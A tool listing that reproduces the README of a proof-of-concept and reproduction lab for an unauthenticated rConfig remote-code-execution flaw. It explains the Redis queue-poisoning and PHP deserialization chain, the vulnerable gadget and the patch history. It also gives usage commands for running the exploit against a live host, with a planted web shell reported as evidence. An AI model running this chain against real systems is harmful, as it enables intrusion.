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CVE-2026-124079 — Proof-of-concept and differential lab for CVE-2026-124079: unauthenticated RCE in rConfig via Redis-backed Laravel Horizon queue poisoning and PHP object deserialization. | Kitploit
Tools/GitHubGitHub/googlesky/cve-2026-124079
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLabs & Practice
GitHubgooglesky/cve-2026-124079

CVE-2026-124079

Proof-of-concept and differential lab for CVE-2026-124079: unauthenticated RCE in rConfig via Redis-backed Laravel Horizon queue poisoning and PHP object deserialization.

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8 days agoNot yet reviewed
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CVE-2026-124079 — rConfig Core unauthenticated RCE via Redis/Horizon queue poisoning

Proof-of-concept for CVE-2026-124079 (CWE-502, Deserialization of Untrusted Data → unauthenticated RCE, CVSS 9.8) with a reproducible environment that puts the vulnerable, the partially patched and the fixed upstream builds side by side.

ProductrConfig Core (and rConfig Pro)
AffectedrConfig Core ≥ 8.0.0, < 8.2.19 · rConfig Pro < 8.4.1
Fixed inrConfig Core 8.2.19 (40bd1204, 2026-10-27) · rConfig Pro 8.4.1
Attack vectorNetwork, unauthenticated — the Redis instance that backs the Laravel Horizon queue is reachable without a password
ImpactRemote code execution as the queue worker user (www-data / root)
Creditkomi Sergio Hognaglo (manasse)
ClassCWE-502 Deserialization of Untrusted Data → CWE-78-style command injection in the job gadget

References:

  • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-124079
  • Upstream release with the fix — https://github.com/rconfig/rconfig/releases/tag/core-8.2.19
  • Partial mitigation in 8.2.18 — https://github.com/rconfig/rconfig/releases/tag/core-8.2.18 (98ecb921)

1. Root cause

rConfig stores its network-device configuration archive in MariaDB and drives the device downloads through a Laravel 12/13 application whose job queue lives in Redis, consumed by Laravel Horizon (HorizonTwo supervisor: TaskDownloadQueue, TaskSnippetQueue, ManualDownloadQueue).

The deployment shipped by upstream exposes that Redis without authentication and reachable from the network — .env.example ships REDIS_PASSWORD=null together with EXPOSED_REDIS_PORT=7000.

The chain:

  1. Unauthenticated Redis. Anyone who can reach the queue Redis can LPUSH onto the list queues:ManualDownloadQueue (Laravel's RedisQueue::getQueue() adds the queues: prefix; rConfig's Redis connection sets no key prefix).

  2. Unrestricted deserialization. The Horizon worker pops the envelope and Illuminate\Queue\CallQueuedHandler@call calls unserialize($data['command']) with no allowed_classes restriction, so the attacker chooses both the class and every property of the instantiated object.

  3. The gadget. App\Jobs\TaskDownloadRun (rConfig ≤ 8.2.17) is dispatched onto ManualDownloadQueue and its handle() is:

    Artisan::call($this->task['task_command'] . ' ' . $this->task['id']);
    

    $task is attacker-controlled, so task_command is an arbitrary Artisan command string. rConfig bundles laravel/tinker, so tinker --execute=<php> yields arbitrary PHP and therefore OS command execution in the Horizon worker process.

Why 8.2.18 is not a fix

8.2.18 (98ecb921) added a constant allowlist to the same class:

private const ALLOWED_TASK_COMMANDS = [
    'rconfig:download-task', 'rconfig:download-device',
    'rconfig:download-tag',   'rconfig:download-category',
];

and rejects anything else (Log::warning('TaskDownloadRun rejected an unexpected task command.')). That blocks this gadget, but the deserialization primitive itself is untouched — the job is still instantiated and unserialized by the worker. 8.2.19 is the real fix: rconfig:redis-secure generates a Redis password, the entrypoint writes requirepass into the Redis config, Redis is moved inside the application container and bound to loopback, and health checks (RedisAuthCheck, WorkerPrivilegeCheck) were added.


2. Reproduction environment

The environment ships three upstream rConfig builds plus the queue and database services they need, so the vulnerable code path, the partially patched one and the fixed one can be compared side by side. Podman, dedicated network cve124079lab, every container bounded with --cpus 2 --memory 4g.

ContainerImageRole
rconfig-dbmariadb:11one instance, three schemas rconfig17 / rconfig18 / rconfig19 (lab/db-init/01-databases.sql)
rconfig-redis17redis:7-alpinequeue Redis for the vulnerable variant, --protected-mode no, no password — the affected deployment posture
rconfig-redis18redis:7-alpinequeue Redis for the 8.2.18 variant, same posture
rconfig-vuln17built from tag core-8.2.17variant A — vulnerable
rconfig-allow18built from tag core-8.2.18variant B — gadget blocked, primitive live
rconfig-fixed19built from tag core-8.2.19variant C — hardened (Redis inside the container, requirepass, loopback)
cve-2026-124079-poc:localpython:3.12-alpinethe PoC (Python stdlib only, no dependencies)

The three application images are built from the upstream git tags (lab/prepare-src.sh exports the trees, injects a per-variant .env and generates the Containerfiles), so the code under test is the released upstream code.

Requirements

  • Podman ≥ 4 (podman build, podman run, podman network)
  • outbound network access for the first build (composer/npm layers are cached afterwards)
  • ~2 GB RAM free and ~4 GB disk for the images

3. Running the environment

bash run-lab.sh prepare   # build the 3 app images + the PoC image   (long, ~10-25 min)
bash run-lab.sh up        # start the containers, migrate, wait for the Horizon supervisors
bash run-lab.sh poc       # run the A/B/C differential PoC
bash run-lab.sh capture   # refresh the artefacts in evidence/
bash run-lab.sh down      # tear everything down

make prepare | up | poc | capture | down | all do the same thing.

run-lab.sh up waits for MariaDB, for the app key/migration step and for the Horizon supervisors to register (rConfig* keys) before it reports ready.


4. The PoC

poc/poc.py — Python 3 standard library only (own minimal RESP client, own PHP serializer, own HTTP checks).

# classification only: is the queue Redis reachable without authentication?
poc.py check   --redis <host:6379>

# full exploit: poison the queue and verify RCE end-to-end
poc.py exploit --redis <host:6379> --app http://<app-host>

# companion probe: show that the primitive also reaches job classes that 8.2.18
# did not patch (App\Jobs\DownloadConfigNowJob) — the worker writes the Redis key
# "download-now-<device_id>" with the attacker's value
poc.py probe   --redis <host:6379> --device-id POC-PROBE-9999
exit codemeaning
check: 1VULNERABLE — unauthenticated Redis backs the Horizon queue
check: 0not vulnerable (unreachable, or Redis demands authentication)
exploit: 0EXPLOIT SUCCESS — RCE confirmed
exploit: 3queue poisoned and the job was consumed, but the gadget was blocked
exploit: 2target unreachable (Redis not network-reachable)
exploit: 4the job stayed on the queue (no worker listening)
probe: 0the poisoned (non-allowlisted) job was executed by the worker

Usage against a live target

The PoC talks to the target directly — it needs nothing from the application except the queue Redis endpoint and, optionally, the application URL for the HTTP checks:

# 1. classify the host: is the queue Redis exposed without a password?
python3 poc/poc.py check --redis 10.0.0.5:6379
#    -> RESULT: VULNERABLE — unauthenticated Redis backs the Laravel Horizon queue

# 2. run the chain and collect the evidence
python3 poc/poc.py exploit --redis 10.0.0.5:6379 --app http://10.0.0.5
#    -> RESULT: EXPLOIT SUCCESS — CVE-2026-124079 unauthenticated RCE
#       evidence: redis key cve:2026:124079:pwned + marker file + live web shell (ok)

# 3. (optional) prove the primitive also reaches the job classes 8.2.18 did not patch
python3 poc/poc.py probe --redis 10.0.0.5:6379 --device-id POC-PROBE-9999
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